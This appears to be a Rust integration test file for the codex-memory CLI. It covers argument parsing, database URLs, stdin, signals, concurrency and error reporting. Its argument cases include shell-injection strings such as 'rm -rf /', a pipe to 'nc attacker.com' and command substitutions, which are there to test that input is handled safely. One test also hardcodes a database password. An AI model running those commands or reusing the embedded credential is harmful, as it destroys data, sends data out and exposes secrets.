codex-memory 3.0.15

A simple memory storage service with MCP interface for Claude Desktop
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
use crate::common::{build_test_db_url_with_db, TestDatabaseManager};
use anyhow::Result;
use std::io::Write;
use std::process::Command;

/// Test CLI argument parsing edge cases
#[tokio::test]
async fn test_cli_argument_parsing() -> Result<()> {
    let _manager = TestDatabaseManager::new()?;

    println!("Testing CLI argument parsing edge cases...");

    // Test various argument combinations
    let test_cases = vec![
        // Basic functionality
        (vec!["--help"], "help flag", true),
        (vec!["--version"], "version flag", true),
        // Empty arguments
        (vec![], "no arguments", true),
        // Unknown flags
        (vec!["--unknown-flag"], "unknown flag", false),
        (vec!["-x"], "unknown short flag", false),
        // Flag combinations
        (vec!["--help", "--version"], "multiple flags", true),
        (vec!["-h"], "short help flag", true),
        (vec!["-V"], "short version flag", true),
        // Action arguments
        (vec!["setup"], "setup action", true),
        (
            vec![
                "store",
                "--context",
                "test",
                "--summary",
                "test",
                "test content",
            ],
            "store action",
            true,
        ),
        (vec!["search", "query"], "search action", true),
        (vec!["stats"], "stats action", true),
        // Invalid actions
        (vec!["invalid-action"], "invalid action", false),
        (vec![""], "empty action", false),
        // Special characters in arguments
        (
            vec!["store", "content with spaces"],
            "spaces in content",
            true,
        ),
        (
            vec!["store", "content'with'quotes"],
            "quotes in content",
            true,
        ),
        (
            vec!["store", r#"content"with"double"quotes"#],
            "double quotes",
            true,
        ),
        (
            vec!["store", "content\nwith\nnewlines"],
            "newlines in content",
            true,
        ),
        (
            vec!["store", "content\twith\ttabs"],
            "tabs in content",
            true,
        ),
        // Unicode content
        (
            vec!["store", "content with 🎉 emojis"],
            "emoji content",
            true,
        ),
        (vec!["store", "中文内容"], "chinese content", true),
        (vec!["store", "العربية"], "arabic content", true),
        // Very long arguments - using string literals
        (vec!["store", "A-long-content"], "very long content", true),
        (
            vec!["store", "B-extremely-long-content"],
            "extremely long content",
            true,
        ),
        // Binary-like content
        (vec!["store", "\x00\x01\x02\x03"], "binary content", false),
        (vec!["store", "content\0with\0nulls"], "null bytes", false),
        // Context and summary flags
        (
            vec!["store", "content", "--context", "test context"],
            "with context",
            true,
        ),
        (
            vec!["store", "content", "--summary", "test summary"],
            "with summary",
            true,
        ),
        (
            vec!["store", "content", "--tags", "tag1,tag2"],
            "with tags",
            true,
        ),
        (
            vec![
                "store",
                "content",
                "--context",
                "ctx",
                "--summary",
                "sum",
                "--tags",
                "t1,t2",
            ],
            "all flags",
            true,
        ),
        // Flag ordering variations
        (
            vec!["--context", "ctx", "store", "content"],
            "flags before action",
            true,
        ),
        (
            vec!["store", "--context", "ctx", "content"],
            "flags between action and content",
            true,
        ),
        (
            vec!["store", "content", "--context", "ctx", "--extra-unknown"],
            "unknown flag mixed in",
            false,
        ),
        // Empty flag values
        (
            vec!["store", "content", "--context", ""],
            "empty context",
            true,
        ),
        (vec!["store", "content", "--tags", ""], "empty tags", true),
        // Missing flag values
        (
            vec!["store", "content", "--context"],
            "missing context value",
            false,
        ),
        (
            vec!["store", "content", "--tags"],
            "missing tags value",
            false,
        ),
        // Duplicate flags
        (
            vec!["store", "content", "--context", "ctx1", "--context", "ctx2"],
            "duplicate context",
            true,
        ),
        (
            vec!["store", "content", "--tags", "tag1", "--tags", "tag2"],
            "duplicate tags",
            true,
        ),
        // Special shell characters
        (
            vec!["store", "content; echo hello"],
            "shell injection attempt",
            true,
        ),
        (
            vec!["store", "content && rm -rf /"],
            "shell command chaining",
            true,
        ),
        (
            vec!["store", "content | nc attacker.com"],
            "pipe command",
            true,
        ),
        (vec!["store", "`whoami`"], "command substitution", true),
        (vec!["store", "$(id)"], "command substitution 2", true),
    ];

    for (args, description, should_succeed) in test_cases {
        println!("Testing: {} - {:?}", description, args);

        // Build command to test CLI
        let mut cmd = Command::new("cargo");
        cmd.args(["run", "--bin", "codex-memory", "--"]);
        cmd.args(&args);
        cmd.env(
            "DATABASE_URL",
            std::env::var("TEST_DATABASE_URL").expect("TEST_DATABASE_URL must be set"),
        );

        let output = cmd.output();

        match output {
            Ok(result) => {
                let _stdout = String::from_utf8_lossy(&result.stdout);
                let stderr = String::from_utf8_lossy(&result.stderr);

                if should_succeed {
                    if result.status.success() {
                        println!("{} succeeded as expected", description);
                    } else {
                        println!("  ⚠️  {} failed unexpectedly", description);
                        println!(
                            "    stdout: {}",
                            _stdout.chars().take(200).collect::<String>()
                        );
                        println!(
                            "    stderr: {}",
                            stderr.chars().take(200).collect::<String>()
                        );
                    }
                } else if !result.status.success() {
                    println!("{} failed as expected", description);
                } else {
                    println!("  ⚠️  {} succeeded unexpectedly", description);
                    println!(
                        "    stdout: {}",
                        _stdout.chars().take(200).collect::<String>()
                    );
                }

                // Check for any panics or crashes in stderr
                if stderr.contains("panic")
                    || stderr.contains("SIGABRT")
                    || stderr.contains("SIGSEGV")
                {
                    println!("{} caused panic/crash!", description);
                    println!("    stderr: {}", stderr);
                }
            }
            Err(e) => {
                println!("  ❌ Failed to execute command for {}: {}", description, e);
            }
        }
    }

    println!("✅ CLI argument parsing tests completed");
    Ok(())
}

#[tokio::test]
async fn test_cli_environment_handling() -> Result<()> {
    let _manager = TestDatabaseManager::new()?;

    println!("Testing CLI environment variable handling...");

    // Test various DATABASE_URL configurations
    let database_url_tests = vec![
        // Valid URLs
        (
            "postgresql://user:pass@localhost:5432/db",
            "standard URL",
            true,
        ),
        (
            "postgres://user:pass@localhost:5432/db",
            "postgres scheme",
            true,
        ),
        // Invalid URLs
        ("", "empty URL", false),
        ("not-a-url", "invalid format", false),
        ("http://not-postgres.com", "wrong protocol", false),
        ("postgresql://", "incomplete URL", false),
        ("postgresql://user@localhost", "missing database", false),
        // URLs with special characters
        (
            "postgresql://user:p@ss%20word@localhost:5432/db",
            "URL encoded password",
            true,
        ),
        (
            "postgresql://us%40er:pass@localhost:5432/db",
            "URL encoded username",
            true,
        ),
        // Non-existent hosts
        (
            "postgresql://user:pass@nonexistent-host:5432/db",
            "non-existent host",
            false,
        ),
        (
            "postgresql://user:pass@192.168.255.255:5432/db",
            "unreachable IP",
            false,
        ),
        // Invalid ports
        (
            "postgresql://user:pass@localhost:99999/db",
            "invalid port",
            false,
        ),
        (
            "postgresql://user:pass@localhost:not-a-port/db",
            "non-numeric port",
            false,
        ),
    ];

    for (database_url, description, should_succeed) in database_url_tests {
        println!("Testing DATABASE_URL: {} - {}", description, database_url);

        let mut cmd = Command::new("cargo");
        cmd.args(["run", "--bin", "codex-store", "--", "stats"]);
        cmd.env("DATABASE_URL", database_url);

        // Set timeout to prevent hanging on connection attempts
        let output = cmd.output();

        match output {
            Ok(result) => {
                let stderr = String::from_utf8_lossy(&result.stderr);

                if should_succeed {
                    // Note: Even "valid" URLs might fail if the database doesn't exist
                    // The important thing is no crashes/panics
                    if stderr.contains("panic") || stderr.contains("SIGABRT") {
                        println!("{} caused panic!", description);
                    } else {
                        println!("{} handled gracefully", description);
                    }
                } else if result.status.success() {
                    println!("  ⚠️  {} succeeded unexpectedly", description);
                } else if stderr.contains("panic") || stderr.contains("SIGABRT") {
                    println!("{} caused panic!", description);
                } else {
                    println!("{} failed gracefully as expected", description);
                }
            }
            Err(e) => {
                println!("  ❌ Failed to execute command: {}", e);
            }
        }
    }

    // Test missing environment variables
    println!("Testing missing environment variables...");

    let mut cmd = Command::new("cargo");
    cmd.args(["run", "--bin", "codex-store", "--", "stats"]);
    cmd.env_remove("DATABASE_URL"); // Remove DATABASE_URL

    let output = cmd.output();
    match output {
        Ok(result) => {
            if result.status.success() {
                println!("  ⚠️  Missing DATABASE_URL succeeded (using defaults?)");
            } else {
                let stderr = String::from_utf8_lossy(&result.stderr);
                if stderr.contains("DATABASE_URL") {
                    println!("  ✅ Missing DATABASE_URL handled with appropriate error");
                } else if stderr.contains("panic") {
                    println!("  ❌ Missing DATABASE_URL caused panic!");
                } else {
                    println!("  ✅ Missing DATABASE_URL failed gracefully");
                }
            }
        }
        Err(e) => {
            println!("  ❌ Failed to test missing DATABASE_URL: {}", e);
        }
    }

    println!("✅ CLI environment handling tests completed");
    Ok(())
}

#[tokio::test]
async fn test_cli_input_output_handling() -> Result<()> {
    let _manager = TestDatabaseManager::new()?;

    println!("Testing CLI input/output handling...");

    // Test stdin input scenarios
    let large_input = "A".repeat(100000);
    let long_lines = "X".repeat(10000);

    let stdin_tests = vec![
        // Normal input
        ("Hello from stdin", "normal stdin input", true),
        // Empty input
        ("", "empty stdin", true),
        // Large input
        (large_input.as_str(), "large stdin input", true),
        // Binary-like input
        ("\x00\x01\x02\x03", "binary stdin", false),
        // Unicode input
        ("Hello 世界 🎉", "unicode stdin", true),
        // Input with newlines
        ("Line 1\nLine 2\nLine 3", "multiline stdin", true),
        // Input with special characters
        (
            "Content with 'quotes' and \"double quotes\"",
            "quoted stdin",
            true,
        ),
        // Very long lines
        (long_lines.as_str(), "long lines", true),
    ];

    for (input, description, should_succeed) in stdin_tests {
        println!("Testing stdin: {}", description);

        let mut cmd = Command::new("cargo");
        cmd.args(["run", "--bin", "codex-store", "--", "store", "-"]); // "-" typically means read from stdin
        cmd.env(
            "DATABASE_URL",
            std::env::var("TEST_DATABASE_URL").expect("TEST_DATABASE_URL must be set"),
        );

        let mut child = match cmd
            .stdin(std::process::Stdio::piped())
            .stdout(std::process::Stdio::piped())
            .stderr(std::process::Stdio::piped())
            .spawn()
        {
            Ok(child) => child,
            Err(e) => {
                println!("  ❌ Failed to spawn process: {}", e);
                continue;
            }
        };

        // Write input to stdin
        if let Some(stdin) = child.stdin.take() {
            let mut stdin_handle = stdin;
            if let Err(e) = stdin_handle.write_all(input.as_bytes()) {
                println!("  ⚠️  Failed to write to stdin: {}", e);
            }
            drop(stdin_handle); // Close stdin
        }

        let output = child.wait_with_output();

        match output {
            Ok(result) => {
                let _stdout = String::from_utf8_lossy(&result.stdout);
                let stderr = String::from_utf8_lossy(&result.stderr);

                if should_succeed {
                    if result.status.success() {
                        println!("{} processed successfully", description);
                    } else if stderr.contains("panic") {
                        println!("{} caused panic!", description);
                    } else {
                        println!(
                            "  ⚠️  {} failed: {}",
                            description,
                            stderr.chars().take(100).collect::<String>()
                        );
                    }
                } else if result.status.success() {
                    println!("  ⚠️  {} succeeded unexpectedly", description);
                } else if stderr.contains("panic") {
                    println!("{} caused panic!", description);
                } else {
                    println!("{} failed gracefully", description);
                }
            }
            Err(e) => {
                println!("  ❌ Failed to get output: {}", e);
            }
        }
    }

    println!("✅ CLI input/output handling tests completed");
    Ok(())
}

#[tokio::test]
async fn test_cli_signal_handling() -> Result<()> {
    let _manager = TestDatabaseManager::new()?;

    println!("Testing CLI signal handling...");

    // Test graceful shutdown scenarios
    let mut cmd = Command::new("cargo");
    cmd.args([
        "run",
        "--bin",
        "codex-memory",
        "--",
        "store",
        "long running operation test",
    ]);
    cmd.env(
        "DATABASE_URL",
        "postgresql://codex_user:MZSfXiLr5uR3QYbRwv2vTzi22SvFkj4a@localhost:5432/codex_db",
    );

    let mut child = match cmd.spawn() {
        Ok(child) => child,
        Err(e) => {
            println!("  ❌ Failed to spawn long-running process: {}", e);
            return Ok(());
        }
    };

    // Let it run briefly
    tokio::time::sleep(std::time::Duration::from_millis(100)).await;

    // Test SIGTERM (graceful shutdown)
    println!("Testing SIGTERM handling...");

    #[cfg(unix)]
    {
        // Try to terminate gracefully first
        let _ = child.kill();
        let _ = child.wait();
        println!("  ✅ Process terminated");
    }

    #[cfg(not(unix))]
    {
        println!("  ⚠️  SIGTERM test skipped on non-Unix system");
        let _ = child.kill();
        let _ = child.wait();
    }

    println!("✅ CLI signal handling tests completed");
    Ok(())
}

#[tokio::test]
async fn test_cli_concurrent_execution() -> Result<()> {
    let _manager = TestDatabaseManager::new()?;

    println!("Testing CLI concurrent execution...");

    // Test multiple CLI instances running simultaneously
    let concurrent_count = 10;
    let mut handles = vec![];

    for i in 0..concurrent_count {
        let handle = tokio::spawn(async move {
            let mut cmd = Command::new("cargo");
            cmd.args([
                "run",
                "--bin",
                "codex-memory",
                "--",
                "store",
                "--context",
                &format!("Test context {}", i),
                "--summary",
                &format!("Test summary {}", i),
                &format!("Concurrent execution test {}", i),
            ]);
            cmd.env(
                "DATABASE_URL",
                std::env::var("TEST_DATABASE_URL").expect("TEST_DATABASE_URL must be set"),
            );

            let start = std::time::Instant::now();
            let result = cmd.output();
            let duration = start.elapsed();

            (i, result, duration)
        });
        handles.push(handle);
    }

    let mut successes = 0;
    let mut failures = 0;
    let mut total_duration = std::time::Duration::from_secs(0);

    for handle in handles {
        match handle.await {
            Ok((i, Ok(output), duration)) => {
                total_duration += duration;

                if output.status.success() {
                    successes += 1;
                    println!(
                        "  ✅ Concurrent execution {} succeeded in {:?}",
                        i, duration
                    );
                } else {
                    failures += 1;
                    let stderr = String::from_utf8_lossy(&output.stderr);
                    println!(
                        "  ❌ Concurrent execution {} failed: {}",
                        i,
                        stderr.chars().take(100).collect::<String>()
                    );
                }
            }
            Ok((i, Err(e), duration)) => {
                total_duration += duration;
                failures += 1;
                println!("  ❌ Concurrent execution {} command failed: {}", i, e);
            }
            Err(e) => {
                failures += 1;
                println!("  ❌ Concurrent execution task failed: {}", e);
            }
        }
    }

    let avg_duration = total_duration / concurrent_count;

    println!("Concurrent execution results:");
    println!("  Successes: {}/{}", successes, concurrent_count);
    println!("  Failures: {}", failures);
    println!("  Average duration: {:?}", avg_duration);

    // Most concurrent executions should succeed
    assert!(
        successes >= (concurrent_count * 70 / 100),
        "At least 70% of concurrent executions should succeed"
    );

    println!("✅ CLI concurrent execution tests completed");
    Ok(())
}

#[tokio::test]
async fn test_cli_error_reporting() -> Result<()> {
    let _manager = TestDatabaseManager::new()?;

    println!("Testing CLI error reporting...");

    // Test various error conditions and verify helpful error messages
    let wrong_db_url = build_test_db_url_with_db("/wrong_db_name");
    let empty_url = String::new();

    let error_tests = vec![
        // Database connection errors
        (vec!["stats"], &wrong_db_url, "connection error"),
        // Invalid arguments
        (vec!["invalid-action"], &empty_url, "invalid action error"),
        (vec!["store"], &empty_url, "missing content error"),
        (vec!["search"], &empty_url, "missing query error"),
        // Permission errors (if any)
        (vec!["setup"], &empty_url, "setup permission error"),
    ];

    for (args, db_url, error_type) in error_tests {
        println!("Testing error reporting: {}", error_type);

        let mut cmd = Command::new("cargo");
        cmd.args(["run", "--bin", "codex-memory", "--"]);
        cmd.args(&args);

        if !db_url.is_empty() {
            cmd.env("DATABASE_URL", db_url);
        } else {
            cmd.env(
                "DATABASE_URL",
                std::env::var("TEST_DATABASE_URL").expect("TEST_DATABASE_URL must be set"),
            );
        }

        let output = cmd.output();

        match output {
            Ok(result) => {
                let _stdout = String::from_utf8_lossy(&result.stdout);
                let stderr = String::from_utf8_lossy(&result.stderr);

                if result.status.success() {
                    println!("  ⚠️  {} succeeded unexpectedly", error_type);
                } else {
                    // Check for helpful error messages
                    let error_output = format!("{}{}", _stdout, stderr).to_lowercase();

                    let has_helpful_error = error_output.contains("error")
                        || error_output.contains("failed")
                        || error_output.contains("invalid")
                        || error_output.contains("missing")
                        || error_output.contains("connection");

                    if has_helpful_error && !error_output.contains("panic") {
                        println!("{} reported helpful error", error_type);
                    } else if error_output.contains("panic") {
                        println!("{} caused panic instead of helpful error!", error_type);
                    } else {
                        println!("  ⚠️  {} error message could be more helpful", error_type);
                        println!(
                            "    Error: {}",
                            error_output.chars().take(200).collect::<String>()
                        );
                    }
                }
            }
            Err(e) => {
                println!("  ❌ Failed to test {}: {}", error_type, e);
            }
        }
    }

    println!("✅ CLI error reporting tests completed");
    Ok(())
}